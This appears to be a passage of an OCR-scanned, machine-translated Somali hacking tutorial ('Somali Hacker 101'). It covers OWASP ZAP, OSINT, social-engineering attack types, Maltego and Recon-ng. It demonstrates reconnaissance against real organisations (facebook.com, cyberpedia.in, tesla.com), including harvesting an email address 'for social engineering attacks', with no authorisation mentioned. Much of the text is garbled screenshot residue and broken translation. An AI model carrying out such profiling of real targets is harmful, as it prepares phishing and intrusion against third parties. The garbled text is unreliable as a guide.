jawaabihii la sameeyey intii aad sahaminta ku jirtay u nuglaantaada,
waxay sii wadaysaa dhismaha geedka goobta, waxayna
diiwaangelineysaa digniino u nuglaanshaha ka dhalan kara ee laga
helay sahaminta.

Waxaa muhiim ah in ZAP ay baarto bog kasta oo ka mid ah arjigaaga
shabakadda, ha ku xirnaato bog kale iyo haddii kaleba, u nuglaanshaha.
Indha-sarcaadku ma ahan nabadgelyo, bogagga garsoonna mararka
gaarkood waxay ku noolaadaan digniin la'aan iyo ogeysiis [a'aan. Marka

U nogo sida ugufiican ee aad awoodid markaad sahamineyso bartaada.

Waxaad si dhakhso leh oo fudud u bilaabi kartaa daalacashada horay
loogu sii hagaajiyay wakiil ahaan iyada oo loo marayo ZAP iyada oo loo
marayo tabka Bilowga Degdegga ah. Bog furayaasha gaabkan lagu
bilaabay waxay sidoo kale iska indha tirayaan digniino kasta oo xagqiijin
kara shahaadada ah oo haddii kale la soo sheegayo.

_[ ~ Quick Start #T =v Request T Responses= m

<) Manual Explore &

This screen allows you to launch the browser of your choice so that you can explore your application while proxying through
ZAP.

The ZAP Heads Up Display (HUD) brings all of the essential ZAP functionality inte your browser.

URL to explore: http:// EJ @ Select...

Enable HUD: ]

Explore your application: | Launch Browser J|Firefo>< v]

You can also use browsers that you don't launch from ZaAP, but will need to configure them to proxy through ZAP and to
import the ZAP root CA certificate.



_ Somali Hacker 101

Si aad gacanta ugu sahamiso dalabkaaga:

Bilow ZAP oo guji tabka Bilowga degdegga ah ee Window Window.
Dhagsii badhanka weyn ee Manual Explore.

URL-ka si aad u sahamiso santuuqa qoraalka, ku gqor URL-ga buuxa

ee dalabka websaydhka aad rabto inaad sahamiso.
Xulo biraawsarka aad jeceshahay inaad adeegsato

Guji Daahfurka Daahfurka

Doorashadani waxay soo saari doontaa mid ka mid ah daalacayaasha

ugu caansan ee aad ku rakibtay astaamo cusub.

Haddii aad jeclaan lahayd inaad isticmaasho mid ka mid ah
daalacayaashaada oo leh muuqaal jira, tusaale ahaan adoo
adeegsanaya biraawsarro kale, markaa waxaad u baahan doontaa
inaad gacantaada ku gaabeyso biraawsarkaaga wakiil adigoo
adeegsanaya ZAP oo aad soo dhoofineyso oo aad ku kalsoon tahay
Shahaadda ZAP Root CA. Ka eeg Tilmaamaha Isticmaalaha 'ZAP
Desktop User' wixii faahfaahin dheeraad ah.

Sida caadiga ah ZAP Heads Up Display (HUD) waa la shageysiin
doonaa. Hubinta ikhtiyaarka ku habboon shaashadan ka hor inta

aanad bilaabin biraawsar ayaa joojin doona HUD.
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Welcome to the HUD x  +

x
c @ @ £ https://127.0.0.1:37933 RO N 4+ I @ =
Welcome to the HUD
The HUD is a completely new way to interact with ZAP.
It overlays security information on top of the application you are testing and allows you to
access key ZAP features.
= It is easier for people new to security to understand but it also allows experienced -~ =
@ out penetration testers to focus on the application they are testing. sites @
@ off Start #
By default the HUD is injected into all of the HTML pages proxied through the ZAP deskiop.
v o You can turn it on and off easily using the @ button on the ZAP toolbar. It is not injected by Start 3
default into pages proxied through ZAP when it is running in headless/daemon mode as that =
feo could break unit tests. This behaviour can be changed via the HUD options. off €
Ll This tutorial will take you through the HUD features and explain how you can use them. o
[z 1R
Il'c 0 1y
+ o
+
Next: Warning
History WebSockets @)k

Bandhigga Heads Up Display (HUD) waa mid cusub oo is-dhexgal
cusub o0 si toos ah ugu adeegsanaya biraawsarka marin-u-helidda
howlaha ZAP. Waxay ku habboon tahay dadka ku cusub amniga
shabakadda waxayna sidoo kale u oggolaaneysaa tijaabiyeyaasha
gibrad-gelinta khibradda leh inay diiradda saaraan shageynta codsiyada

iyadoo la siinayo macluumaadka amniga iyo shageynta muhiimka ah.

HUD-ka ayaa lagu dul dulsaaray dusha sare dalabka bartilmaameedka
biraawsarkaaga markii lagu shaqgeysiiyo shaashadda 'Manual Explore'
ama ikhtiyaarka toolbar. Kaliya daalacashada casriga ah sida Firefox iyo

Chrome ayaa la taageeray.
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Sida caadiga ah shaashad fidsan ayaa loo muujiyay HUD oo ay kujirto
iskuxiraha casharbixinta kaa qaadi doonta astaamaha HUD oo kuu

sharaxi doona sida aad u adeegsan karto.

Waxyaabaha Desktop

Eile Edit Wiew Analyse Report Tools Online Help

— — —
o | Standard mode  v| B g e =l Yy = e 1 ﬂnji.
| Sites J Quick Start & -R-equest-:e T Resg
=< @ Sites

Desktop ZAP wuxuu leeyahay nagshad dhisme taas oo macnaheedu

yahay in shageynta cusub lagu dari karo firfircoonaan.

Suuga internetka wuxuu bixiyaa noocyo badan oo ZAP ah oo lagu daro

sifooyin badan oo dheeri ah ZAP.

Suuga waxaa laga heli karaa ZAP dhexdeeda iyada oo loo marayo

badhanka ‘Maaree Kudarista’ ee ku yaal barta toolbar:

Dhammaan waxyaabaha lagu daro suuga waa gebi ahaanba bilaash.

ZAP waa aalad ku habboon in loogu isticmaalo otomaatiga
maktabadaha Java, Python, Node.js PHP, Ruby & in ka badan!
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Waxaa lagu maamuli karaa gaab madax la'aan ah waxayna leedahay
APl awood leh oo kuu oggolaanaya inaad xakameyso ku dhowaad

dhammaan astaamaha laga heli karo desktop-ka ZAP.

Hadda oo aad aqoon u leedahay xoogaa awoodo aasaasi ah oo ZAP ah,
waxaad wax badan ka baran kartaa awoodaha ZAP iyo sida looga
adeegsado Tusaha Adeegyada ee Desktop ee ZAP. Tiimaamaha
Isticnaalaha ayaa bixiya tilmaamo tallaabo-tallaabo ah, tixraacyo loogu
talagalay API-ga iyo barnaamijyada amarka-tooska ah, fiidiyowyo

waxbaris ah, iyo talooyin iyo tabaha loo adeegsado ZAP.

Xidhiidhyo dheeri ah ayaa sidoo kale laga heli karaa iyada oo loo

marayo badhanka 'Waxbadan Ka Baro' shaashadda kore ee 'Start Start":

File Edit View Analyse Report Tools Import Online Help
StandardMode ) | B W 5 & 8 D@0 O000E 48 vV @ NERhE ofg@

@ sites | L, scripts [ Quick start # | =» Request | Responses= | & |
@ LEan
+ 5 Contencs =) Learn More @

[£] Default Context

@ sites

This screen links to local and remote resources that will help you learn mere about ZAP.

Local Resources:
Getting Started Guide
& Desktop User Guide
Online Resources:
User Group

8]
|@ Frequently Asked Questions

J = HlsmryT Cl, search T o alerts T output | &=
@ @ ' Fiter: OFF @ Export

Id | Req. Timestamp | Method | URL | Code | Reason | RTT | Size Resp. Body | Highest Alert | Note | Tags

L]
i

Alerts 0 f0 (U0 Mo Current Scans 0 €¢0 €0 ®0 20 @0 M0 40 [ 0 #o0
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open-source intelligence
&

Social engenering tools

open-source intelligence:

Open-source intelligence (OSINT) waa habab badan (tayo, tiro) habab
loogu talagalay ururlnta falanqaynta iyo go aan qaadashada ku
saabsan xogta la ' - o
heli karo ee laga
heli karo ilaha guud
ee la heli karo si
loogu isticmaalo
xaalad sirdoon.
Bulshada sirdoonka
dhexdeeds,

ereyga "furan”
waxaa loola jeedaa
ilo wareedyo
bannaan, oo furan (oo ka duwan ilo gqarsoon ama garsoodi ah). OSINT
hal magac ama magac kale ayaa soo jiray boqgolaal sano. lyadoo ay soo
ifbaxday isgaarsiin deg deg ah iyo xog wareejin deg deg ah, waxgabad
badan oo ficil ah iyo sirdoon saadaalin ah ayaa hadda laga heli karaa
dadweynaha, ilo aan la cayimin. Kuma xirna barnaamijyada furan ee il-
furan ama sirdoon wadareed.

Sirdoonka Furan (OSINT) waa aruurinta iyo falangaynta macluumaadka
laga soo ururiyo dadweynaha, ama furan, ilaha. OSINT waxaa ugu
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horeyn loo adeegsadaa amniga garanka, fulinta sharciga, iyo howlaha
sirdoonka ganacsiga waana mid giimo u leh falangeeyayaasha
adeegsada sirdoonka aan xasaasiga aheyn marka ay ka jawaabayaan
shuruudaha sirta ee garsoon, kuwa aan loo kala soocin, ama
lahaanshaha lahaanshaha guud ahaan anshax sirdoonka.

llaha OSINT waxaa loo gaybin karaa lix gaybood oo kala duwan oo
qulqulka macluumaadka ah:

* Warbaahinta, wargeysyada daabacan, joornaalada, raadiyaha, iyo
telefishanka oo ka kala imanaya daafaha iyo waddamada.

* Internetka, daabacaadaha onlaynka ah, baloogyada, kooxaha wada
hadalka, warbaahinta muwaaddiniinta (tusaale - fiidiyowga
taleefanka gacanta, iyo isticmaalaha la abuuray), YouTube, iyo
bogagga kale ee warbaahinta bulshada (sida - Facebook, Twitter,
Instagram, iwm. llahaani wuxuu kaloo dhaafayaa ilo kale oo
kaladuwan sababtuna tahay waqtigeeda iyo fudeydkeeda
helitaanka.

* Xogta Dowladda Dadweynaha, warbixinnada dowladda
dadweynaha, miisaaniyadaha, dhageysiyada, tusaha taleefannada,
shirarka jaraa'id, degellada, iyo khudbadaha. In kasta oo ilahaani ka
yimaadeen ilo rasmi ah haddana waa la heli karaa si guud waana loo
isticmaali karaa si furan oo xor ah.

» Xirfadaha iyo Daabacadaha Tacliinta, macluumaadka laga soo gaatay
joornaalada, shirarka, isweydaarsiga, waraagaha tacliinta,
buugaagta, iyo tusaalooyinka.

* Xogta Ganacsiga, sawirka ganacsiga, giimeynta dhagaalaha iyo
warshadaha, iyo keydadka macluumaadka.

* Suugaanta Gray, warbixinnada farsamo, daabacaadda, shatiyadaha,
waraagaha shaqgada, dukumintiyada ganacsiga, shagooyinka aan la
daabicin, iyo joornaalada.

* OSINT waxaa looga soocayaa cilmi baarista iyadoo lagu dabagayo
nidaamka sirdoonka si loo abuuro agoon ku habboon oo lagu
taageerayo go'aan gaar ah oo shagsi ama koox gaar ah ay leeyihiin.
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Social engenering:

Marka la eego amniga macluumaadka, injineernimada bulshada ayaa
ah ku takri-fal maskaxeed ee dadka si ay u fuliyaan ficillo ama u
sheegaan macluumaad garsoodi ah. Tani way ka duwan tahay
injineernimada bulshada dhexdeeda cilmiga bulshada, taas oo aan
quseyn baahinta macluumaadka sirta ah. Nooc ka mid ah khiyaanada
kalsoonida ee ujeeddada xog ururinta, khayaanada, ama marin u helka
nidaamka, way kaga duwan tahay "dhagameed" dhagameed iyada oo
inta badan ay tahay mid ka mid ah tillaabooyin badan oo ku saabsan

nidaamka khiyaanada ugu adag

Waxaa sidoo kale lagu qeexay "ficil kasta oo saameyn ku leh qofka inuu

sameeyo ficil laga yaabo inuu ku jiro ama uvusan ku jirin dantooda.

Tusaalaha injineernimada bulshada waa adeegsiga "ilowday lambarka
sirta ah" ee ka shageeya bogagga intarnetka badankood ee u baahan
soo galitaan. Nidaam soo celinta sirta ah ee si khaldan loo hubiyay ayaa
loo isticmaali karaa si loogu oggolaado weeraryahan xaasidnimo ah
marin buuxa u leh koontada isticmaalaha, halka isticmmaalaha asalka ah

uu waayi doono helitaanka koontada.
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Social engineering attack techniques:

Weerarada injineernimada bulshada waxay ku yimaadaan qaabab
badan oo kala duwan waxaana lagu sameyn karaa meel kasta oo ay ku
lug leeyihiin isdhexgalka aadanaha. Kuwa soo socdaa waa shanta nooc

ee ugu caansan weerarada injineernimada bulshada ee dhijitaalka ah.

Baiting: Sida magaceedaba ka muugata, weerarada baayintu waxay
adeegsadaan balan qaad been ah si ay u naxaan damaca dhibanaha
ama xiisaha. Waxay ku sasabtaan adeegsadayaasha dabin ka xadaya
macluumaadkooda shagsiyeed ama ku waxyeeleynaya nidaamyadooda

malware.

Qaabka ugu cayda badan ee loo yagaan 'baiting' wuxuu adeegsadaa
warbaahin jireed si uu u kala firdhiyo xumaanta. Tusaale ahaan,
weeraryahannadu waxay uga baxaan sed-ka — sida caadiga ah flash-ka
khaaska ah ee fayraska wata - ee meelaha muuqda ee ay suurtagal
tahay in dhibbanayaasha ay arkaan (tusaale ahaan, musqulaha,
wiishashka, baarkinka gawaarida ee shirkad la bartiimaameedsaday).
Sedku wuxuu leeyahay muugaal dhab ah, sida calaamadda u soo

bandhigeysa liiska mushahar bixinta shirkadda.

Dhibbanayaashu waxay sedka u soo gaataan xiisaha ay u gabaan
waxayna geliyaan kumbuyuutar shaqo ama guri, taasoo dhalisay in si

toos ah loogu kiciyo khayaanada nidaamka.

Khayaanada baiting khasab maahan in lagu fuliyo adduunka jirka.
Noocyada khadka tooska ah ee baitingku waxay ka kooban yihiin
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xayeysiisyo sasabasho keena oo u horseedaya bogag xun ama ku

dhiirrigeliya dadka isticmaala inay soo dejiyaan codsi fayraska qaba.

Scareware: Daryeelka 'Scareware' wuxuu ku lug leeyahay
dhibbanayaasha lagu garxiyay digniinta beenta ah iyo hanjabaadaha
khiyaaliga ah. Isticmaalayaasha waxaa lagu khiyaanay inay u
maleeyaan in nidaamkooda uu ku dhacay furin, taasoo ku kalifaysa
iyaga inay rakibaan barnaamij aan faa iidada dhabta ah lahayn (marka
laga reebo dambiilaha) ama lafteeda lafteeda ah. Swareware sidoo kale
waxaa loo yaqgaan software khiyaano, software iskaanka khiyaanada iyo
khiyaanada.

Tusaalaha guud ee cabsi-gelinta ayaa ah boorarka soo-baxa ee sharci-u-
ekaha ah ee ka dhex muuganaya biraawsarkaaga adoo adeegsanaya
shabakadda, oo soo bandhigaya qoraallo ay ka mid yihiin,
"Kombuyuutarkaaga waxaa laga yaabaa inuu ku dhaco barnaamijyo
basaasnimo oo waxyeello leh." Waxay kuu soo bandhigeysaa inay kugu
rakibto aaladda (badiyaa malware-ku-dhaco) adiga, ama waxay kuu

jiheyn doontaa barta xun ee kombiyuutarkaagu ku fido.

Scareware waxaa sidoo kale loo gaybiyaa emayl spam ah oo ka soo
baxa digniinta been abuurka ah, ama u fidiya dalabyo dadka isticmaala

si ay u iibsadaan adeegyo aan giimo lahayn [ waxyeello leh.

Pretexting: Halkan weeraryahanku wuxuu kuhelaa macluumaad
isagoo adeegsanaya taxane been abuur xariifnimo lagu farsameeyay.

Khiyaanada waxaa inta badan bilaaba dembiile iska dhigaya inuu u
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baahan yahay macluumaad xasaasi ah oo laga helo dhibanaha si loo

gabto hawl muhiim ah.

Weeraryahanku wuxuu inta badan ku bilaabmaa inuu kalsooni ka helo
dhibbanayaashooda isagoo iska dhigaya iskaashi ay wada shageeyaan,
booliis, bangiga iyo saraakiisha canshuuraha, ama dad kale oo leh
awood aqoon u leh. Horudhaca ayaa weydiinaya su'aalo si macquul ah
looga baahan yahay si loo xagqiijiyo agoonsiga dhibanaha, kaas oo ay ku

s00 ururiyaan xog shakhsiyeed oo muhiim ah.

Dhammaan noocyada macluumaadka la xiriira iyo dilwaanada waxaa la
so0o uruuriyay iyadoo la adeegsanayo khiyaanadan, sida nambarada
sooshalka bulshada, cinwaanada shagsiyadeed iyo lambarrada
taleefannada, diiwaanka taleefannada, taariikhaha fasaxyada
shaqgaalaha, diiwaanka bangiga iyo xitaa macluumaadka amniga ee la

xiriira dhirta jirka.

Phishing: Mid ka mid ah noocyada ugu caansan ee weerarada
injineernimada bulshada, khiyaanooyinka been abuurka ahi waa emayl
iyo ololeyaal fariin qoraal ah oo loogu talagalay abuurista dareen deg-
deg ah, xiiso leh ama cabsi loo gabo dhibbanayaasha. Kadib waxay ku
taageertaa inay soo bandhigaan macluumaadka xasaasiga ah, iyagoo
gujinaya xiriiriyeyaasha bogagga internetka ee xun, ama furitaanka

lifaaqyada ay ku jiraan malware.

Tusaale ahaan waa emayl loo soo diro isticmaaleyaasha adeegga

khadka tooska ah oo loogu digayo xadgudub siyaasadeed oo u baahan
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tallaabo degdeg ah dhankooda, sida beddelka ereyga loo baahan yahay
Waxaa ka mid ah iskuxirka websaydh sharci darro ah-ku dhowaad isku
mid ah muuqgaal ahaan gaabkiisa sharciga ah-taasoo ku kallifaysa
isticmaale aan shaki ku jirin inuu galo agoonsigooda hadda iyo
lambarka sirta ah ee cusub. Marka foomka la gudbiyo macluumaadka

waxaa loo dirayaa qofka weerarka soo qaaday.

Marka la eego isku mid ahaanta, ama isku dhow, farriimaha waxaa loo
diraa dhammaan isticmaaleyaasha ololayaasha phishing, ogaanshaha
iyo xannibistooda ayaa aad ugu fudud server-yada boostada ee marin u

heli kara hanjabaadaha wadaagga hanjabaadaha.

Phishing Spear: Tani waa nooc ka mid ah bartiimaameedyada
khiyaanada ah ee weerarka uu ku doorto shagsiyaad gaar ah ama
shirkado. Kadib waxay ku hagaajinayaan fariimahooda iyagoo ku
saleynaya astaamaha, jagooyinka shaqgada, iyo xiriirada ay leeyihiin
dhibanayaashooda si ay uga dhigaan weerarkooda mid muuqda.
Phishis-ka waranku wuxuu u baahan yahay dadaal badan oo dheeraad
ah isagoo ku hadlaya magaca dambiilaha waxayna gaadan kartaa
toddobaadyo iyo bilo si looga baxo Aad ayey u adaqg yihiin in la ogaado
oo waxay leeyihiin heerar guul oo ka wanaagsan haddii si xirfad leh loo

qabtay.

Xaaladaha waran kufsiga waxaa laga yaabaa inuu ku lug yeesho qof
weerar ah, isagoo iska dhigaya la-taliye IT-da urur, wuxuu email ugu

diraa hal ama in ka badan shagaalaha. Waa ereybixin iyo saxeexid sax
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ah sida lataliyuhu sida caadiga ah sameeyo, taas oo ku khiyaanaynaysa
dadka gaata una malaynaya inay tahay farriin dhab ah. Farriinta ayaa ku
dhiirrigelisa dadka helaya inay beddelaan lambarkooda sirta ah

waxayna siiyaan xiriir iyaga oo u weeciya bog xun oo uu weeraryahanku

hadda ku gabsado aqoonsigooda.

' Maltego

Maltego waa barnaamij loo adeegsado sirta il-furan iyo saadaalinta,
waxaana soo saaray Paterva oo ka socota Pretoria, South Africa.
Maltego waxay diirada saareysaa bixinta maktabada isbadalada lagu
ogaanayo xogta laga helayo ilaha furan, iyo indha indheynta
macluumaadkaas oo ku jira gaab jaantus ah, oo ku habboon
falangaynta iskuxirka iyo qodista xogta Laga soo bilaabo 2019, kooxda
Maltego Technologies oo xarunteedu tahay Munich, Jarmalka waxay
gaadatay mas'uuliyadda dhammaan hawlgallada macaamiisha

adduunka ku wajahan.
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Maltego wuxuu oggol yahay abuuritaanka hay'ado caado ah, oo u
oggolaanaya inuu metelo nooc kasta oo macluumaad ah marka lagu
daro noocyada aasaasiga ah ee aasaasiga ah ee gayb ka ah
barnaamijka. Ujeedada aasaasiga ah ee codsigu waa falangaynta
xiriirka adduunka-dhabta ah (Shabakadaha Bulshada, OSINT APIs,
Macluumaadka Gaarka ah ee La Is-maamulo iyo Noodhadhka
Kombiyuutarada Noodhadhka) ee u dhexeeya dadka, kooxaha,
Webpages, domains, shabakadaha, kaabayaasha internetka, iyo ku
xirnaanta warbaahinta bulshada. Maltego waxay ku fidineysaa
xogteeda gaareysa iskudhafka ka imanaya wada-hawlgalayaasha xogta
kala duwan. Meelaha xogteeda laga helo waxaa ka mid ah diiwaanka
DNS, diiwaanka cidda, makiinadaha raadinta, adeegyada isku xirka

bulshada, API-yada kala duwan iyo xogta kala duwan ee meta.

Isticmalka Maltego

Maltego waxaad ku kicin sidii Zap oo kale terminalka ku qor maltego
lakiin intanaad isticmalin waa inaa acoun ku lahata
https://www.maltego.com i aad u isticmashid iyo waa inaad kala

sorato flavers ga ama nocyada maltego.


https://www.maltego.com/
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Start a Machine

YSE MAC

2 Specify target

Company Stalker

: : Find Wllapedla Edits

() Footprint L1
() Footprint L2

Show on startup
- Show on empty graph click

Xulo shirkadda dabagalka markaa waxaad u baahan doontaa inaad
sheegto bartilmaameedka (magaca magac) daagad cusub, Bixi domain

(bartilmaameedka) oo guji Finish.
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Start a Machine

STEPS

1. Choose machine

Specify target

The Company Stalker machine requires the following inputs:

‘ Domain Name facebook com

Ka dib markii si guul leh u socdo dabagal waxaad heli doontaa natiijo

sida soo socota ah
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- New Graph (1) X
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Abuur Garaaf Cusub, Bilow garaaf cusub adigoo gujinaya dhinaca bidix.
Jiid oo hoos u dhig bogga oo qor magaca domain, midig guji bogga oo

socodsiiya beddelka la doonayo
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Entity Palette New Graph (2) X

= Infrastructure

DNS Name
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Sheeg magaca domain ee aan siinayo cyberpedia.in
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228
®:

cyberpedia.in

Bartilmaameedkayaga soo socda si aan u ururiyo macluumaadka ku
saabsan cinwaannada emaylka. Marka waxaan u baahanahay inaan
beddelo "cinwaannada emaylka ee ka socda domain". Haddii aad rabto
inaad sameyso isla gor riix bogga oo xulo cinwaanada Emailka ee

Domain.

All Transforms
DNS from Domain
Domain owner detail

Email addresses from Domain

_i
=
o
2
7]
ik
¢

Files and Documents from Domain 4

BX2UBX=EC
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Isbedelada cusubi waxay u muugan doonaan iskuday mid kasta iyo qof

kasta oo isdaba-joog ah waxaad heli doontaa natiijo xiiso leh.

To Email address [From whois info]
. 2 e LY [
To Email ad This transform obtains whois information of the IP numb

N>

* To Emails @domain [using Search Enginel

AXAUEX =3O C

Natiijada watana

'@,

cyberpedia.in ;

@

cyberpediateam@gmail.com
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Orod isbeddel kale oo hel faahfaahinta magacyada server-yada,

cinwaanada boostada, cinwaanada IP iyo waxyaabo kaloo badan.

new crooh 2) [
®

cyberpedia.in

0/ B =

cyberpediateam@agmpail.com  mail.cyberpedia.in  dell.ns.cloudflare.com
cash.ns.cloudflare.com
Maltego waxay gacan ka geysaneysaa soo uruurinta macluumaad
badan oo ku saabsan kaabayaasha dhagaalaha. Si aad u bilowdo
ururinta macluumaadka, ka dooro hay'adda la doonayo paletka.
Tusaalahan, waxaan dooneynaa inaan iskaanno domain. Xulo xulashada
domainka palette oo ku jiido ikhtiyaarka goobta shagada. Gali barta

bartilmaameedka. Hada midig u guji meesha oo waa inaad heleysaa

daagad leh "Run Transform" oo leh xulashooyin dheeri ah oo laxiriira.

Orod isbedelka loo baahan yahay oo raadso macluumaadka sida
cinwaanka MX, NS iyo IP. Waxaan markaa isticmaali karnaa isbeddelada
sida 'IPAddressToNetblock' si aan ugu jabino shabakad weyn

shabakadaha yar yar si loo fahmo.
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Sidoo kale waxaan heli karnaa domains-ka la wadaago. Waxaan
go'aansan karnaa macluumaadka sida cinwaanada IP ee cinwaanada
iyo shabakadaha kale ee gudaha, shabakadaha loo adeegsado

bartiimaameedka, iwm.

Maltego waxay kaa caawineysaa inaad ka hesho macluumaad ku
saabsan qofka, sida cinwaankooda emaylka, astaamaha bulshada,
asxaabta wadaagga ah, feylasha kala duwan ee lagu wadaago URL-
yada kala duwan, iwm. Halkan waxaan ku dooranayaa ikhtiyaarka ‘Qof’
waxaanan gali doonaa magaca qofka aan isku dayi doono inaan ka soo

ururiyo macluumaadka.

Xuquuqda-guiji ikhtiyaarka ‘Qofka’ oo dooro isbeddelada la doonayo.
Marka hore aan raadino cinwaanka emaylka ee la xiriira qofka 0o aan
isku dayno inaan uruurino macluumaad dheeraad ah. Maltego, waxaan

ka heli karnaa macluumaadkooda SNS Facebook, Flickr, iwm.

Hay'ado kala duwan oo ka tirsan Facebook ayaa lagu ogaadey iyadoo la
adeegsanayo isbeddelka "toFacebookaffiliation." Habkani guud ahaan
wuxuu raadiyaa xiriir Facebook kaas oo si dhow ula mid ah magaca
gofka oo ku saleysan magaca hore iyo kan dambe isla markaana
miisaamaya natiijo kasta si waafagsan. Maltego waxaan sidoo kale
laheli karnaa saaxiibo isku dhaf ah oo ah labo gof oo |a

bartilmaameedsaday si loo helo macluumaad dheeraad ah



_ Somali Hacker 101

Sidoo kale, waxaan heli karnaa haddii adeegsadaha uu ku soo rogay
wax faylal ah pastebin ama URL kasta oo dadweyne ah. Helitaanka
macluumaadkaan oo dhan waxay faa'iido u yeelan kartaa fulinta weerar

ku saleysan injineernimada bulshada.

Recon-ng

Recon-ng waa gaab-soo-saar buuxa oo Shabakad Dib-u-habeyn ah oo
ku goran Python. Ku dhameystiran gaybo madaxbanaan, isdhexgalka
keydka macluumaadka, oo lagu dhisay hawlo habboon, caawimaad
isdhaxgal ah, iyo amarka dhammaystirka, Recon-ng waxay bixisaa jawi
awood leh oo isha furan ee shabakadda ku saleysan isha si dhakhso leh

oo dhammaystiran loo gaban karo.

Recon-ng waxay leedahay muuqgaal iyo dareen la mid ah
Qaabdhismeedka Metasploit, yaraynta galooca barashada ka
faa'iideysiga gaabdhismeedka. Si kastaba ha noqotee, way ka duwan
tahay tan. Recon-ng looma jeedin inuu la tartamo qaabdhismeedka jira,
maaddaama loogu talagalay si gaar ah loogu talagalay sahaminta isha

furan ee websaydhka ah. Haddii aad rabto inaad ka faa'iidaysato,
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isticmaal Qaab dhismeedka Metasploit. Haddii aad dooneysid Injineer
Bulsheed, annaga Qalabka Qalabka Injineerka Bulshada. Haddii aad
rabto inaad sameyso sahan, isticmaal Recon-ng! Ka eeg Hagaha

Isticmaalka wixii macluumaad dheeraad ah.

Recon-ng waa qaab dhismeed gebi ahaanba gaabaysan oo u
fududeynaya xitaa kuwa ugu cusub ee soosaarayaasha Python inay
gacan ka geystaan. Qayb kasta waa gayb hoosaad ka mid ah fasalka
"moduleka". Fasalka "moduleka” waa tarjubaan “cmd” loo habeeyay oo
lagu qalabeeyay waxgabad dhisme ah kaas oo siiya isdhaafsiyo fudud
howlaha guud sida soosaarida heerka, la falgalka keydka, sameynta
codsiyada webka, iyo maaraynta furayaasha API. Sidaa darteed,
dhammaan shagadii adkayd waa la gabtay. Qaab dhismeedyadu waa
sahlan yihiin oo waxay qaadataa in yar oo ka badan dagiiqado. Ka eeg

Hagaha Hormarinta wixii macluumaad dheeraad ah.

Isticmalka Recon-ng

Laga soo bilaabo noocyada Kali 2020.1, adigu kama tihid root ahaan.
Marka waxaad u baahan doontaa inaad adeegsato amarka sudo marka
aad bilowdo dib-u-dhigga haddii kale, inta badan amarradu ma shageyn

doonaan:

sudo recon-ng
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:~$ sudo recon-ng
[sudo] password for findm3reeot:
| Version check disabled.

I o TS T f L) i 1 = = f i 7
= el =/ = o . 0 )
AT Y 7 = - I ST e S S AV ST B
/ i I / / / ey /

S Ty T T AT A R T B

/ \\ A
Sponsored by ... A /N \N\Vv AN
/ \\/ /7 \\\\\ \\ \/\
// // BLACK HILLS V \\
waw . blackhillsinfosec.com

R ==

ww . practisec.com
¢

[recon-ng v5.1.1, Tim Tomes (@lanmaster53)]

| No modules enabled/installed.

Liiska amarrada lagu taageeray dib-u-eegista waxaa lagu eegi karaa

iyadoo la adeegsanayo amarka :

[recon-ng][default] > help

[recon-ng][default] > help
Commands (type [help]?] <topic>):

Exits the current context
dashboard Displays a summary of activity
db Interfaces with the workspace's database
exit Exits the framework
help Displays this menu
index Creates a module index (dev only)
keys Manages third party resource credentials
marketplace Interfaces with the module marketplace
modules Interfaces with installed modules
options Manages the current context options
pdb Starts a Python Debugger session (dev only)
script Records and executes command scripts
shell Executes shell commands
show Shows various framework items
snapshots Manages workspace snapshots
spool Spools output to a file
workspaces Manages workspaces

[recon-ng][default] > |}




_ Somali Hacker 101

Sida caadiga ah, ma jiraan cutubyo la rakibay / karti loo siiyay. Waxaad u
baahan tahay inaad rakibtid kahor intaadan isticmaalin galabka dib-u-

gabashada.

Module ayaa lagu rakibi karaa iyadoo la adeegsanayo amarka suuga:

[recon-ng][default] > marketplace install all

[+] No modules enabled/installed.

[recon-ng][default] > marketplace install all
Module installed: discovery/info_disclosure/cache_snoop
Module installed: discovery/info_disclosure/interesting_files
Module installed: exploitation/injection/command_injector
Module installed: exploitation/injection/xpath_bruter
Module installed: import/csv_file
Module installed: import/list
Module installed: import/masscan
Module installed: import/nmap
Module installed: recon/companies-contacts/bing_linkedin_cache
Module installed: recon/companies-contacts/censys_email_address
Module installed: recon/companies-contacts/pen
Module installed: recon/companies-domains/censys_subdomains
Module installed: recon/companies-domains/pen
Module installed: recon/companies-domains/viewdns_reverse_whois
Module installed: recon/companies-domains/whoxy_dns
Module installed: recon/companies-hosts/censys_org
Module installed: recon/companies-hosts/censys_tls_subjects
Module installed: recon/companies-multi/github_miner
Module installed: recon/companies-multi/shodan_org
Module installed: recon/companies-multi/whois_miner
Module installed: recon/contacts-contacts/abc

Qaar ka mid ah modules waxay u baahan yihiin furayaasha APl in lagu

daro si ay si sax ah u shageeyaan.

Fiiro gaar ah: Qeybaha gaar ayaa laga yaabaa inaanay rakibnayn
markaad maamusho amarka kor ku xusan waxaadna u baahan tahay

inaad si gooni ah u rakibto.
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Had iyo jeer waa ficil wanaagsan in la abuuro goob shaqo ka hor
intaadan bilaabin sahamintaada adoo adeegsanaya cutubyo la heli karo.

Tani waxay siinaysaa gorfayntaada dareemo habaysan.

Module-yada shagada waxaa loo isticmaali karaa in lagu abuuro goob
shaqo oo cusub, lagu shubi karo goob shago oo hore u jirtay oo aad
horay u abuurtay, liis garee meelaha shagada ee hadda jira, lagana saari

karo goobaha shagada ee hadda jira

workspaces <create|list|load|remove> /...J

Aynu nidhaahno waxaad dooneysaa inaad abuurto goob cusub oo lagu
magacaabo 'dib-u-baabuur', markaa amarka la adeegsanayo waa sida

SO0 socota:

[recon-ng][default] > workspaces create recon-cars
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[recon-ng][default] >[workspaces create recon-cars |

[recon-ng][recon-cars]|> |}

Sababta ka dambeysa fariimaha qgaladku waa, maanaan habayneyn / ku
darin furayaasha APl qaybo ka mid ah, taas oo ah ikhtiyaar ikhtiyaari ah.

Marka, waan iska indhatiri karnaa khaladaadka hadda.

Qeybta db (moduleka macluumaadka) wuxuu noo ogolaanayaa inaan

gelino, tirtirno, weydiino, 0o aan aragno shaxda miisaska xogta

db <delete|insert|notes|query|schema> /.../

Waxaa jira miisas badan oo ku jira moduleka db:
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companies|contacts|credentials|domains|hosts|leaks|locations|netblocks|
ports|profiles|pushpins|repositories|vulnerabilities

Qorshaha waxaa loo arki karaa iyadoo la adeegsanayo amarka soo

socda:

[recon-ng][recon-cars] > db schema

netblock | TEXT
notes
module

Waxaan ku dari karnaa magacyada meheradaheena bartilmaameedka /
shirkadaha miisaska iyadoo la isticmaalayo amarka soo socda ee soo

socda. Aynu nidhaahno bartilmaameedkeennu waa tesla.com:

[recon-ng][recon-cars] > db insert domains
domain (TEXT): tesla.com
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[recon-ng][recon-cars] >|db insert domains
domain (TEXT): tesla.com
notes (TEXT):

1 rows affected.

[recon-ng][recon-cars] > db insert domains
